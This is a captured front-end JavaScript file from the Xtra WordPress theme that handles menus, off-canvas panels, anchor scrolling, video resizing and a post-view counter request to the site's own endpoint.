PageSourceSearch

https://zm-coptic.com/cop/wp-content/themes/xtra/assets/js/custom.js?ver=4.9.16

js zm-coptic.com collected 2026-10-07 03:54:40 UTC 34,417 bytes, 1,076 lines download raw bytes

1/* Custom theme scripts */
2var Codevz = ( function( $ ) {
3	"use strict";
4
5	var wind = $( window ),
6		body = $( document.body ),
7		page = $( 'html, body' ),
8		inla = $( '.inner_layout' ).length ? $( '.inner_layout' ) : body,
9		timeouts = [];
10
11	// Custom easing.
12	$.extend( $.easing, {
13		def: 'easeInOutCodevz',
14		easeInOutCodevz: function(x) {
15			return x === 0 ? 0 : x === 1 ? 1 : x < 0.5 ? Math.pow( 2, 20 * x - 10 ) / 2 : ( 2 - Math.pow( 2, -20 * x + 10 ) ) / 2;
16		}
17	});
18
19	// Codevz callback.
20	if ( ! $.fn.codevz ) {
21
22		$.fn.codevz = function( data, callback ) {
23
24			if ( $( this ).length ) {
25
26				var $this = $( this ),
27					run = function( e ) {
28
29						var l = e.length, i = 0;
30
31						for( i; i < l; i++ ) {
32
33							var x = $( e[i] );
34
35							if ( x.data( 'codevz' ) !== data ) {
36								callback.apply( x.data( 'codevz', data ), [ x, i ] );
37							}
38
39						}
40
41					};
42
43				if ( Codevz.inview( $this, 100 ) ) {
44
45					run( $this );
46
47				} else {
48
49					$( window ).on( 'scroll.codevz', function() {
50
51						run( $this );
52
53						$( this ).off( 'scroll.codevz' );
54
55					} );
56
57				}
58
59			}
60
61		}
62
63	}
64
65	return {
66
67		inview: function( e, offset ) {
68
69			var offset 			= offset || 0,
70				docViewTop 		= wind.scrollTop(),
71				docViewBottom 	= docViewTop + wind.height(),
72				elemTop 		= e.offset().top,
73				elemBottom 		= elemTop + e.height();
74
75			return ( ( elemTop <= docViewBottom + offset ) && ( elemBottom >= docViewTop - offset ) );
76
77		},
78
79		init: function() {
80
81			// First load fade.
82			if ( body.hasClass( 'codevz-first-load-fade' ) ) {
83				setTimeout( function() {
84					body.animate( { opacity: 1 }, 500 );
85				}, 400 );
86			}
87
88			// Header custom shape size.
89			$( 'div[class*="cz_row_shape_"]' ).codevz( 'row_shape', function( x ) {
90
91				Codevz.heightChanged( x, function() {
92
93					var cls = '.' + ( x.attr( 'class' ) || '' ).replace( /  | /g, '.' ),
94						hei = x.height() + 37;
95
96					!x.find( '> style' ).length && x.append( '<style></style>' );
97
98					x.find( '> style' ).html( cls + ' .row:before,' + cls + ' .row:after{width:' + hei + 'px}.elms_row ' + cls + ':before, .elms_row ' + cls + ':after{width:' + hei + 'px}' );
99
100				});
101
102			});
103
104			// Social Dorpdown.
105			body.on( 'click', '.xtra-social-icon-trigger', function() {
106
107				var x 	= $( this ),
108					box = x.next( '.xtra-social-dropdown' );
109
110				if ( box.length ) {
111
112					if ( box.is( ':visible' ) ) {
113						box.fadeOut( 'fast' );
114					} else {
115						box.fadeIn( 'fast' );
116					}
117
118				}
119
120			}).on( 'click', function( e ) {
121
122				if ( $( e.target ).closest( '.cz_elm' ).length ) {
123					return;
124				}
125
126				$( '.xtra-social-dropdown' ).fadeOut( 'fast' );
127
128			});
129
130			// On resize.
131			var alignFull 	= $( '.alignfull' ),
132				headerLine 	= $( '.header_line_1' ),
133				fixedFooter = $( '.cz_fixed_footer' ),
134				videos 		= $( '.cz_iframe, .content iframe, object, embed' ).not( '.wp-embedded-content' ),
135				timeout;
136
137			// Functions on window resize.
138			wind.on( 'resize.xtra', function() {
139
140				clearTimeout( timeout );
141
142				timeout = setTimeout( function() {
143
144					// Current window width.
145					var wind_width = wind.width();
146
147					// WP 5.x gutenberg ready.
148					alignFull.length && alignFull.each( function( i, x ) {
149
150						var x = $( x ), 
151							inla_width = x.parent().width(),
152							from_left  = ( ( wind_width - inla_width ) / 2 );
153
154						x.css( { width: wind_width, left: -from_left } );
155
156					});
157
158					// Footer fixed.
159					if ( fixedFooter.length ) {
160
161						var footerHeight = parseInt( fixedFooter.outerHeight() );
162
163						if ( $( '.cz-sticky-add-to-cart' ).length ) {
164
165							footerHeight += parseInt( $( '.cz-sticky-add-to-cart' ).outerHeight() );
166
167						}
168
169						body.css( 'margin-bottom', footerHeight );
170
171					}
172
173					// Videos iframe auto size.
174					videos.length && videos.each( function( i, x, w ) {
175
176						x = $( x );
177
178						x.attr( 'data-aspectRatio', x.height() / x.width() ).removeAttr( 'height width' );
179
180						w = x.parent().width();
181						x.width( w ).height( w * x.attr( 'data-aspectRatio' ) );
182
183					});
184
185				}, 1000 );
186
187			}).trigger( 'resize.xtra' );
188
189			// Element: line auto height.
190			setTimeout( function() {
191
192				headerLine.codevz( 'full_line', function( x ) {
193
194					Codevz.heightChanged( x.closest( '.row' ), function() {
195
196						x.css( 'height', '0px' );
197
198						setTimeout( function() {
199
200							x.css( 'height', x.closest( '.row' ).height() );
201
202						}, 10 );
203
204					});
205
206				});
207
208			}, body.hasClass( 'elementor-editor-active' ) ? 3000 : 1500 );
209
210			// Posts equality.
211			$( '.cz_default_loop_grid' ).closest( '.cz_posts_container' ).codevz( 'dlg_equal', function( x ) {
212				x.addClass( 'cz_posts_equal' );
213			});
214
215			// Widget nav menu dropdown.
216			$( '.widget_nav_menu .menu-item-has-children > a' ).codevz( 'wnmi', function( x ) {
217
218				if ( ! x.find( '.fa-angle-down' ).length ) {
219					x.append( '<i class="fa fa-angle-down" aria-hidden="true"></i>' );
220				}
221
222			});
223
224			// Widget nav menu dropdown arrow.
225			body.on( 'click', '.widget_nav_menu .menu-item-has-children > a > i', function( e ) {
226
227				$( this ).toggleClass( 'fa-angle-down fa-angle-up' ).closest( 'li' ).find( '> ul' ).slideToggle();
228
229				e.preventDefault();
230
231			// Dropdown menu off screen.
232			}).on( 'mouseenter', '.sf-menu .menu-item-has-children', function() {
233
234				var dropdown = $( this ).find( '> ul' ).removeClass( 'cz_open_menu_reverse' ),
235					isVisible = dropdown.offset().left + dropdown.width() <= inla.width();
236
237				dropdown[ isVisible ? 'removeClass' : 'addClass' ]( 'cz_open_menu_reverse' );
238
239			});
240
241			// Menus
242			$( '.sf-menu' ).each( function( i ) {
243
244				var x 			= $( this ),
245					indicator 	= x.data( 'indicator' ) || ( x.hasClass( 'offcanvas_menu' ) ? 'fa fa-angle-down' : '' ),
246					indicator2 	= x.data( 'indicator2' ) || ( x.hasClass( 'offcanvas_menu' ) ? 'fa fa-angle-down' : '' );
247
248				// Superfish.
249				x.codevzMenu({
250
251					onInit: function() {
252
253						// Menu indicators.
254						$( '.sub-menu', this ).parent().each( function() {
255
256							var en = $( this ),
257								a = en.find( '> a, > h6' );
258
259							if ( ! a.find( '.cz_indicator' ).length ) {
260
261								if ( $( '.cz_menu_subtitle', a ).length ) {
262									$( '.cz_menu_subtitle', a ).before( '<i class="cz_indicator" aria-hidden="true"></i>' );
263								} else {
264									a.append( '<i class="cz_indicator" aria-hidden="true"></i>' );
265								}
266
267							}
268
269							if ( indicator || indicator2 ) {
270								$( '.cz_indicator', a ).addClass( a.closest( '.sub-menu' ).length ? indicator2 : indicator );
271							}
272
273							if ( ! en.find( 'li, div' ).length ) {
274								en.find( '.cz_indicator' ).remove();
275								en.next( 'ul' ).remove();
276							}
277
278							// Empty href.
279							!en.attr( 'href' ) && en.removeClass( 'current_menu' );
280
281							// Fix: Current active menu in dropdown.
282							en.find( '.current_menu' ).length && setTimeout(function() {
283								en.addClass( 'current_menu' );
284							}, 250 );
285
286						});
287
288						// Fix: Keep original current menu in dropdown menu.
289						if ( x.find( '.current_menu ul > .current-menu-item' ).length ) {
290
291							x.find( '.current_menu ul > .current-menu-item' ).siblings().removeClass( 'current_menu' );
292
293						// If there is no current menu but ancestor exists.
294						} else if ( ! x.find( '.current_menu' ).length && x.find( '.current-page-ancestor, .current-post-ancestor, .current-menu-item' ).length ) {
295
296							$( x.find( '.current-page-ancestor, .current-post-ancestor, .current-menu-item' )[0] ).addClass( 'current_menu' );
297
298						}
299
300						// Auto responsive menu items according to window width.
301						if ( x.not( '#menu_header_4, #menu_fixed_side_1, .cz-not-three-dots' ).length ) {
302
303							// Fix single menu in column issue.
304							if ( x.parent().parent().find( '.cz_elm' ).length == 1 ) {
305								x.parent().parent().append( '<div class="cz_elm">&nbsp;</div>' );
306							}
307
308							wind.on( 'resize.responsive', function() {
309
310								var en = x,
311									parent = en.parent(),
312									elementor = en.closest( '.elementor-container' ),
313									menu_margin = parseFloat( parent.css( 'margin-left' ) ) + parseFloat( parent.css( 'margin-right' ) ),
314									elements = 0,
315									container,
316									three_dots = ( body.attr( 'class' ).indexOf( 'codevz-plus' ) >= 0 ) ? '<i class="fa czico-055-three cz-extra-menus" style="margin:0" aria-hidden="true"></i>' : '...';
317
318								setTimeout( function() {
319
320									// Reset
321									en.append( en.find( '.cz-extra-menus > .sub-menu > li' ) ).find( '.cz-extra-menus' ).remove();
322
323									// Add icon dots
324									if ( ! en.find( '.cz-extra-menus' ).length ) {
325										var submenu_title = $( '.cz_menu_subtitle' ).text() ? '<span class="cz_menu_subtitle">&nbsp;</span>' : '';
326										en.append( '<li class="cz-extra-menus cz"><a href="#" class="sf-with-ul" aria-label="More links" aria-hidden="true"><span>&nbsp;' + three_dots + '&nbsp;</span>' + submenu_title + '</a><ul class="sub-menu" aria-hidden="true"></ul></li>');
327									}
328
329									var nw = en.find( '.cz-extra-menus' ), 
330										nw_ul = nw.find( '> ul' );
331
332									nw.hide().prev().addClass( 'cz-last-child' );
333
334									// Get elements width
335									en.parent().parent().find( '.cz_elm' ).not( parent ).each(function() {
336
337										elements += $( this ).outerWidth() + parseFloat( $( this ).css( 'margin-left' ) ) + parseFloat( $( this ).css( 'margin-right' ) );
338
339									});
340
341									// Move back to parent
342									nw_ul.find( '> li' ).appendTo( en );
343
344									// Move to hidden menu
345									$( en.find( '> li' ).not( '.cz-extra-menus' ).get().reverse() ).each( function() {
346
347										if ( elementor.length ) {
348											container = elementor.outerWidth();
349										} else {
350											container = en.closest( '.have_center' ).length ? parent.parent().parent().outerWidth() : parent.parent().outerWidth();
351										}
352
353										if ( ( parent.outerWidth() + menu_margin ) + elements + ( elementor ? 0 : 25 ) > container ) {
354											$( this ).prependTo( nw_ul );
355											nw.show();
356										}
357
358									});
359
360								}, 1000 );
361
362							}).trigger( 'resize.responsive' );
363
364						}
365
366					},
367					onBeforeShow: function() {
368
369						var x = $( this );
370
371						// Sub menu.
372						if ( x.hasClass('sub-menu') ) {
373
374							// Check if mega menu is fullwide
375							if ( x.parent().hasClass( 'cz_megamenu_width_fullwide' ) ) {
376
377								var megamenu_row = body,
378									megamenu_row_offset = megamenu_row.offset().left,
379									megamenu_row_width = megamenu_row.width();
380
381								x.attr( 'style', x.attr( 'style' ) + 'width: ' + wind.width() + 'px;left:' + ( megamenu_row_offset - x.parent().offset().left ) + 'px;margin-right:0;margin-left:0;right:auto !important;' );
382
383							}
384
385							// Sub-menu styling
386							if ( x.parent().data( 'sub-menu' ) ) {
387								setTimeout(function() {
388									x.attr( 'style', x.attr( 'style' ) + x.parent().data( 'sub-menu' ) );
389								}, 50 );
390							}
391
392							// Megamenu
393							if ( x.parent().hasClass( 'cz_parent_megamenu' ) ) {
394								x.addClass( 'cz_megamenu_' + $( '> .cz', x ).length ).find( 'ul' ).addClass( 'cz_megamenu_inner_ul clr' );
395							}
396
397							// Megamenu full row
398							if ( x.parent().hasClass( 'cz_megamenu_width_full_row' ) ) {
399
400								var megamenu_row = $( '.row' ),
401									megamenu_row_offset = megamenu_row.offset().left,
402									megamenu_row_width = megamenu_row.width();
403
404								if ( x.closest( '.cz-extra-menus' ).length ) {
405
406									megamenu_row_width = megamenu_row_width - ( megamenu_row.width() - x.parent().offset().left + 10 );
407
408								}
409
410								x.attr( 'style', x.attr( 'style' ) + 'width: ' + megamenu_row_width + 'px;left:' + ( megamenu_row_offset - x.parent().offset().left ) + 'px;' );
411
412							}
413
414						}
415
416						if ( x.closest('.fixed_side').length ) {
417							var pwidth = x.parent().closest( '.sub-menu' ).length ? '.sub-menu' : '.sf-menu',
418								ff_pos = $( '.fixed_side' ).hasClass( 'fixed_side_left' ) ? 'left' : 'right';
419							x.css( ff_pos, x.closest( pwidth ).width() );
420						}
421
422						setTimeout( function() {
423
424							// Lazyload image in dropdown menus.
425							wind.trigger( 'scroll.lazyload' );
426
427							// Fix carousel.
428							if ( x.find( '.slick' ).length ) {
429								wind.trigger( 'resize.slick' );
430							}
431
432						}, 200 );
433
434					}
435
436				});
437
438			});
439
440			// Fix mobile menu icon.
441			$( 'i.icon_mobile_offcanvas_menu' ).removeClass( 'hide' );
442
443			// Dropdown Menu
444			body.on( 'click', '.icon_dropdown_menu', function( e ) {
445
446				var x = $( this ),
447					pos = x.position(),
448					nav = x.parent().find('.sf-menu'),
449					row = $( this ).closest('.row').height(),
450					offset = ( ( inla.outerWidth() + inla.offset().left ) - x.offset().left );
451
452				nav.fadeToggle( 'fast' );
453
454				body.on( 'click.cz_idm', function(e) {
455					nav.fadeOut( 'fast' );
456					body.off( 'click.cz_idm' );
457				});
458
459				$( '.cz', nav ).on( 'mouseenter mouseleave', function(e) {
460					e.stopPropagation();
461				}).off( 'click' ).on( 'click', function(e) {
462					if ( $( e.target ).hasClass( 'cz_indicator' ) ) {
463						$( this ).closest( 'li' ).find('> ul').fadeToggle( 'fast' );
464						e.preventDefault();
465						e.stopPropagation();
466					}
467				});
468
469				e.stopPropagation();
470
471			// Open Menu Horizontal
472			}).on( 'click', '.icon_open_horizontal', function( e ) {
473
474				var x = $( this ),
475					pos = x.position(),
476					nav = x.parent().find('.sf-menu'),
477					row = $( this ).closest('.row').height(),
478					offset = ( ( inla.outerWidth() + inla.offset().left ) - x.offset().left );
479
480				nav.fadeToggle( 'fast' );
481
482				body.on( 'click.cz_ioh', function(e) {
483					nav.fadeOut( 'fast' );
484					body.off( 'click.cz_ioh' );
485				});
486
487				e.stopPropagation();
488
489			// Mobile Menu
490			}).on( 'click', 'i.icon_mobile_offcanvas_menu', function() {
491
492				var x = $( this );
493
494				if ( ! x.hasClass( 'done' ) ) {
495
496					Codevz.offCanvas( x.addClass( 'done' ), 1 );
497
498					var ul_offcanvas = $( 'ul.offcanvas_area' ),
499						indicator 	= ul_offcanvas.data( 'indicator' ),
500						default_ind = ul_offcanvas.hasClass( 'offcanvas_menu' ) ? 'fa fa-angle-down' : '',
501						indicator 	= indicator ? indicator : default_ind,
502						indicator2 	= ul_offcanvas.data( 'indicator2' ),
503						indicator2 	= indicator2 ? indicator2 : default_ind,
504						additional  = x.parent().find( '.xtra-mobile-menu-additional' );
505
506					additional.length && ul_offcanvas.append( '<li class="xtra-mobile-menu-additional">' + additional.html() + '</li>' );
507
508					// Add mobile menus indicator
509					if ( indicator.length || indicator2.length ) {
510						x.next( '.sf-menu' ).find( '.sf-with-ul' ).each(function() {
511							$( '.cz_indicator', this ).addClass( ( x.parent().parent().hasClass( 'sf-menu' ) ? indicator : indicator2 ) );
512						});
513					}
514
515					$( '.sf-with-ul, .cz > h6', ul_offcanvas ).on( 'click', function( e ) {
516						if ( $( e.target ).hasClass( 'cz_indicator' ) || $( e.target ).attr( 'href' ) == '#' ) {
517							$( this ).next().slideToggle( 'fast' );
518							e.preventDefault();
519						}
520					});
521
522				}
523
524			// OffCanvas
525			}).on( 'click', '.offcanvas_container > i', function() {
526
527				var x = $( this );
528
529				if ( ! x.hasClass( 'done' ) ) {
530
531					Codevz.offCanvas( x.addClass( 'done' ), 1 );
532
533				}
534
535			// Fullscreen Menu
536			}).on( 'click', '.icon_fullscreen_menu', function( e ) {
537
538				var x = $( '.fullscreen_menu' );
539
540				body.addClass( 'cz_noStickySidebar' ).find( '.fixed_side_1.have_center' ).find( '.fullscreen_menu,.xtra-close-icon' ).appendTo( '.fixed_side_1.have_center' );
541
542				x.fadeIn( 'fast' ).on( 'click', function( e ) {
543
544					if ( ! $( e.target ).closest( '.cz' ).length ) {
545
546						$( this ).delay( 500 ).fadeOut( 'fast', function() {
547							body.removeClass( 'cz_noStickySidebar' );
548							$( '.xtra-close-icon' ).addClass( 'hide' );
549							page.removeClass( 'no-scroll' );
550						});
551
552					}
553
554				});
555
556				if ( x.is(':visible') ) {
557
558					page.addClass( 'no-scroll' );
559
560				}
561
562				var h = x.find( '> li' ).height() * ( ( x.find( '> li' ).length - 1 ) / 2 );
563
564				x.css( 'padding-top', ( ( wind.height() / 2 ) - h ) );
565
566				$( '.xtra-close-icon' ).toggleClass( 'hide' ).off().on( 'click', function() {
567					$( this ).addClass( 'hide' );
568					x.fadeOut( 'fast' );
569					page.removeClass( 'no-scroll' );
570				});
571
572			// Fullscreen
573			}).on( 'mouseenter mouseleave', 'ul.fullscreen_menu .cz', function( e ) {
574
575				e.stopPropagation();
576
577			}).on( 'click', 'ul.fullscreen_menu .cz', function( e ) {
578
579				if ( $( e.target ).hasClass( 'cz_indicator' ) ) {
580					$( this ).closest( 'li' ).find( '> ul' ).fadeToggle( 'fast' );
581					e.preventDefault();
582					e.stopPropagation();
583				}
584
585			// Hidden fullwidth content
586			}).on( 'click', '.hf_elm_icon', function( e ) {
587
588				var x = $( this );
589
590				x.next( '.hf_elm_area' ).slideToggle( 'fast' ).css({
591					width: inla.outerWidth(),
592					left: inla.offset().left,
593					top: x.offset().top + x.outerHeight()
594				});
595
596				body.on( 'click.cz_hf_elm', function(e) {
597					$( '.hf_elm_area' ).slideUp( 'fast' );
598					body.off( 'click.cz_hf_elm' );
599				});
600
601				e.preventDefault();
602				e.stopPropagation();
603
604			});
605
606			// Clear.
607			$( '.tagcloud' ).addClass( 'clr' );
608
609			// Input buttons to button tag
610			$( '.form-submit .submit, input.search-submit, .wpcf7-submit' ).codevz( 'button', function() {
611
612				var x = $( this );
613
614				$( '<button name="submit" type="submit" class="' + x.attr('class') + '">' + x.val() + '</button>' ).insertAfter( x );
615
616				x.detach();
617
618			});
619
620			// Post views count.
621			$( '.xtra-post-views' ).codevz( 'post_views', function() {
622
623				var x = $( this );
624
625				$.ajax({
626					type: "GET",
627					url: body.data( 'ajax' ) || ajaxurl,
628					dataType: 'html',
629					data: "action=codevz_ajax_post_views&id=" + x.attr( 'data-id' ) + "&nonce=" + x.attr( 'data-nonce' ),
630					success: function( data ) {
631						console.log( data );
632						// Post views count worked.
633					},
634					error: function( xhr, status, error ) {
635						console.log( xhr, status, error );
636					}
637				});
638
639			});
640
641			this.menu_anchor();
642		},
643
644		// Menu Anchor.
645		menu_anchor: function() {
646
647			// Disable Elementor links anchor.
648			if ( typeof elementorFrontend !== 'undefined' && typeof elementorFrontend.utils !== 'undefined' && typeof elementorFrontend.utils.anchors !== 'undefined' ) {
649
650			    setTimeout(function() {
651			        elementorFrontend.elements.$document.off(
652			            'click',
653			            elementorFrontend.utils.anchors.getSettings('selectors.links'),
654			            elementorFrontend.utils.anchors.handleAnchorLinks
655			        );
656			    }, 500);
657
658			}
659
660			// Prevent hashtag link jump.
661			$( "a[href*='#']" ).not( 'a[target="_blank"]' ).on( 'click.prevent_jump', function( e ) {
662				e.preventDefault();
663			});
664
665			// Init.
666			var aBar 	= body.hasClass( 'admin-bar' ) ? 32 : 0,
667				mLink 	= $( "a[href*='#']" ).not( "a[href='#'],a[target='_blank'],a[href*='#/']" ),
668				sticky 	= $( '.header_is_sticky' ).not( '.smart_sticky, .header_4' ),
669				scrollTop = 0, timeout,
670				scrollToAnchor = function( target ) {
671
672					clearTimeout( timeout );
673
674					timeout = setTimeout( function() {
675
676						target = target.replace( '%20', ' ' );
677						target = ( target.indexOf( '#' ) >= 0 ) ? $( target ) : $( '#' + target );
678
679						if ( target.length && ! target.hasClass( 'cz_popup_modal' ) ) {
680
681							scrollTop = $( document ).scrollTop();
682
683							if ( wind.width() < 768 && $( '.header_4.header_is_sticky' ).length ) {
684								sticky = $( '.header_4.header_is_sticky' ).not( '.smart_sticky' );
685							}
686
687							if ( scrollTop == 0 && sticky.length ) {
688								$( document ).scrollTop( 1 );
689							}
690
691							setTimeout( function() {
692
693								page.animate({ scrollTop: target.offset().top - aBar - ( sticky.outerHeight() || 0 ) }, 1200, 'easeInOutCodevz', function() {
694
695									page.stop();
696
697								});
698
699								$( '.offcanvas-close' ).trigger( 'click' );
700
701							}, scrollTop == 0 ? 450 : 1 );
702
703						}
704
705					}, 50 );
706
707				};
708
709			// Prevent page scroll jumping.
710			var target = window.location.hash;
711			if ( target && target.indexOf( '#/' ) !== 0 ) {
712				target = target.replace( '#', '' ).replace( '%20', ' ' );
713				if ( $( '#' + target ).length ) {
714
715					// Stop scroll.
716					page.animate({scrollTop: 0}, 1);
717
718					// Scroll to anchor.
719					setTimeout(function() {
720						scrollToAnchor( target );
721					}, 1500 );
722				}
723			}
724
725			// Links.
726			if ( mLink.length ) {
727
728				mLink.off( 'click.anchor' ).on( 'click.anchor', function( e ) {
729
730					if ( $( this ).not( 'a[href*="#top"],[data-tab],.cz_popup_modal,.cz_no_anchor,.cz_no_anchor a, .vc_general, .cz_no_anchor a, .cz_lrpr a, .wc-tabs a, .page-numbers a, #cancel-comment-reply-link, .vc_carousel-control, [data-vc-container],.comment-form-rating a,.sm2-bar-ui a,.lwptoc a' ).length ) {
731
732						if ( ! $( e.target ).hasClass( 'cz_indicator' ) ) {
733
734							if ( $( this.hash ).length && location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') && location.hostname == this.hostname ) {
735								scrollToAnchor( this.hash );
736							} else if ( this.hash ) {
737								location = $( this ).attr( 'href' );
738							}
739
740						}
741
742						e.preventDefault();
743
744					}
745
746				});
747
748				var mPage  = $( '.sf-menu' ),
749					mPageH = mPage.outerHeight() + 15,
750					mItems = mPage.find( "a[href*='#']" ).not( "a[href='#'],a[href*='#/']" ),
751					sItems = mItems.map(function(){
752						var item = $( $( this ).attr( "href" ).replace( /\s+|%20/g, "" ).replace( /^.*\#(.*)$/g, "#$1" ) );
753						if ( item.length ) {
754							return item;
755						}
756					});
757
758				wind.on( 'scroll.anchor', function() {
759
760					clearTimeout( timeout );
761
762					timeout = setTimeout( function() {
763
764						var ft = $( this ).scrollTop() + mPageH + aBar + ( sticky.outerHeight() || 0 ),
765							cur = sItems.map(function() {
766								if ( $(this).offset().top < ft )
767									return this;
768								});
769
770						cur = cur[cur.length-1];
771						var id = cur && cur.length ? cur[0].id : "";
772						if ( id && ! $( '#' + id + '.cz_popup_modal' ).length && $( '#' + id ).length ) {
773							body.trigger( 'click' );
774							mItems.parent().removeClass( "current_menu" ).end().filter( "[href*='#" + id + "']" ).parent().addClass( "current_menu" );
775						} else {
776							mItems.parent().removeClass( "current_menu" );
777						}
778
779					}, 50 );
780
781				});
782			}
783		},
784
785		// Height changed = run callback.
786		heightChanged: function( elm, callback ) {
787			var lastHeight = elm.outerHeight(), newHeight;
788
789			// First.
790			callback();
791
792			// Height detect.
793			( function run() {
794
795				newHeight = elm.outerHeight();
796
797				if ( lastHeight != newHeight ) {
798					callback();
799					lastHeight = newHeight;
800				}
801
802				if ( elm.onElementHeightChangeTimer ) {
803					clearTimeout( elm.onElementHeightChangeTimer );
804				}
805
806				elm.onElementHeightChangeTimer = setTimeout( run, 500 );
807
808			})();
809
810		},
811
812		/*
813		*   offCanvas area
814		*/
815		offCanvas: function( selector, click ) {
816
817			var parent  = selector.parent(),
818				area    = selector.next(),
819				layout  = $( '#layout' ),
820				overlay = $( '.cz_overlay' ),
821				isRight, i, 
822				fixed_side = 0,
823				close, timeout;
824
825			if ( area.length ) {
826
827				var area = area.clone(),
828					isRight = area.hasClass( 'inview_right' ),
829					new_class = area.hasClass('sf-menu') ? 'sf-menu offcanvas_area' : 'offcanvas_area offcanvas_original';
830
831				body.prepend( area.removeClass().addClass( 'sidebar_offcanvas_area' ).addClass( new_class + ( isRight ? ' inview_right' : ' inview_left' ) ) );
832				var area_w = area.width() + 80;
833
834				if ( selector.closest( '.elementor-element' ).length ) {
835
836					var elementor_page = selector.closest( '.elementor' ).attr( 'data-elementor-id' );
837					body.addClass( 'elementor-page-' + elementor_page + ' elementor-' + elementor_page );
838
839					var classList = selector.closest( '.elementor-element' ).attr('class').split(/\s+/);
840					$.each( classList, function( index, item ) {
841						if ( item.indexOf( 'elementor-element-' ) == 0 ) {
842							area.addClass( 'elementor-element ' + item );
843						}
844					});
845
846				}
847
848				area.find( '.sub-menu' ).hide();
849
850			} else {
851
852				return;
853
854			}
855
856			// Open icon
857			selector.on( 'click', function(e) {
858
859				if ( area.hasClass( 'active_offcanvas' ) && ! body.hasClass( 'offcanvas_doing' ) ) {
860
861					page.removeClass( 'no-scroll' );
862
863					overlay.trigger( 'click' );
864
865				} else {
866
867					page.addClass( 'no-scroll' );
868
869					$( 'html' ).css( 'margin-top', '0 !important' );
870					$( '#layout' ).css( 'margin-top', '40px !important' );
871
872					// Close icon
873					if ( body.attr( 'class' ).indexOf( 'codevz-plus' ) >= 0 ) {
874						area.before( '<i class="fa czico-198-cancel offcanvas-close" aria-hidden="true"></i>' );
875					} else {
876						area.before( '<i class="fa fa-times offcanvas-close" aria-hidden="true"></i>' );
877					}
878					close = area.prev( '.offcanvas-close' );
879					close.on( 'click', function(e) {
880						if ( click ) {
881							body.removeClass( 'active_offcanvas' );
882							area.removeClass( 'active_offcanvas' );
883	
884							overlay.fadeOut();
885							setTimeout(function() {
886								$( '.offcanvas-close' ).detach();
887								wind.trigger( 'resize' );
888								page.removeClass( 'no-scroll' );
889							}, 500 );
890							
891							click = 0;
892						} else {
893							overlay.trigger( 'click' );
894						}
895					});
896					close.css( ( isRight ? 'right' : 'left' ), area.outerWidth() + fixed_side );
897
898					body.addClass( 'offcanvas_doing active_offcanvas' + ( isRight ? ' cz_offcanvas_right' : ' cz_offcanvas_left' ) );
899					area.addClass( 'active_offcanvas' );
900
901					if ( wind.width() > 768 ) {
902
903						if ( ( $( '.fixed_side_left' ).length && $( '.cz_offcanvas_left' ).length ) || $( '.fixed_side_right' ).length  && $( '.cz_offcanvas_right' ).length ) {
904							if ( ! $( '#cz_ofs' ).length ) {
905								$( 'head' ).append( '<style id="cz_ofs"></style>' );
906							}
907							fixed_side = $( '.fixed_side' ).width();
908							$( '#cz_ofs' ).html( '.active_offcanvas .offcanvas_area.active_offcanvas{transform:translateX(' + ( isRight ? '-' : '' ) + fixed_side + 'px)}' );
909						}
910						
911					}
912
913					overlay.fadeIn();
914
915					setTimeout(function() {
916
917						body.removeClass( 'offcanvas_doing' );
918
919						if ( area.find( '.cz_acc_child' ).length ) {
920
921							Codevz_Plus.accordion();
922
923						}
924
925					}, 1250 );
926				}
927
928				e.stopPropagation();
929			});
930
931			// First time
932			if ( click ) {
933				selector.trigger( 'click' );
934			}
935
936			// Prevent close on open icon
937			area.on( 'click', function(e) {
938				e.stopPropagation();
939			});
940
941			// reCall anchors
942			this.menu_anchor();
943
944			// Click on body
945			overlay.on( 'click', function( e ) {
946
947				if ( $( '.active_offcanvas' ).length && ! body.hasClass( 'offcanvas_doing' ) ) {
948
949					body.removeClass( 'active_offcanvas' );
950					area.removeClass( 'active_offcanvas' );
951
952					overlay.fadeOut();
953
954					setTimeout(function() {
955
956						$( '.offcanvas-close' ).detach();
957						wind.trigger( 'resize' );
958						page.removeClass( 'no-scroll' );
959
960					}, 500 );
961
962				}
963
964				setTimeout(function() {
965
966					if ( ! overlay.is( ':visible' ) && $( '.active_offcanvas' ).length ) {
967
968						$( '.offcanvas-close' ).trigger( 'click' );
969
970						page.removeClass( 'no-scroll' );
971
972					}
973
974				}, 500 );
975
976			});
977
978			// Close mobile on window resize.
979			wind.on( 'resize.offcanvas_close', function( e ) {
980
981				clearTimeout( timeout );
982
983				timeout = setTimeout( function() {
984
985					var mh4 = $( '#menu_header_4' );
986
987					if( mh4.hasClass( 'active_offcanvas' ) && wind.width() > 768 ) {
988						mh4.prev( 'i' ).trigger( 'click' );
989					}
990
991				}, 50 );
992
993			});
994
995			// Reload necessary scripts.
996			if( ! area.hasClass( 'xtra-reload-js' ) ) {
997
998				// Fix menu icon click issue specially on mobile.
999				area.find( '.cz a' ).on( 'click', function( e ) {
1000
1001					if ( $( e.target ).hasClass( 'cz_indicator' ) ) {
1002
1003						var en = $( this );
1004
1005						en.attr( 'data-href', en.attr( 'href' ) ).attr( 'href', '#' );
1006
1007						setTimeout( function() {
1008							en.attr( 'href', en.attr( 'data-href' ) );
1009						}, 250 );
1010
1011					}
1012
1013				});
1014
1015				// reInit codevz plus.
1016				if ( typeof Codevz_Plus != 'undefined' ) {
1017
1018					Codevz_Plus.init();
1019					if ( typeof Codevz_Plus.working_hours != 'undefined' ) {
1020						Codevz_Plus.working_hours();
1021					}
1022
1023				}
1024
1025				// Lazyload image inside offcanvas.
1026				setTimeout( function() {
1027
1028					$( window ).trigger( 'scroll.lazyload' );
1029
1030					area.find( '[data-src]' ).each( function() {
1031						$( this ).attr( 'src', $( this ).data( 'src' ) ).removeAttr( 'data-src' );
1032					});
1033
1034					area.find( '.cz_tooltip' ).removeClass( 'cz_tooltip_down cz_tooltip_right cz_tooltip_left' ).addClass( 'cz_tooltip_up' );
1035
1036				}, 500 );
1037
1038				// reInit contact form 7.
1039				if( typeof wpcf7 != 'undefined' && area.find( '.wpcf7' ).length ) {
1040
1041					area.find( 'div.wpcf7 > form' ).each( function() {
1042
1043						var $this = $( this );
1044
1045						if ( $.fn.initForm ) {
1046							wpcf7.initForm( $this );
1047
1048							if ( wpcf7.cached ) {
1049								wpcf7.refill( $this );
1050							}
1051						}
1052
1053					} );
1054
1055				}
1056
1057				// reInit Facebook.
1058				setTimeout( function(){
1059					if ( window.FB ) {
1060						FB.XFBML.parse();
1061					}
1062				}, 2000 );
1063
1064				area.addClass( 'xtra-reload-js' );
1065
1066			}
1067
1068		},
1069
1070	};
1071
1072})( jQuery );
1073
1074jQuery( function( $ ) {
1075	Codevz.init();
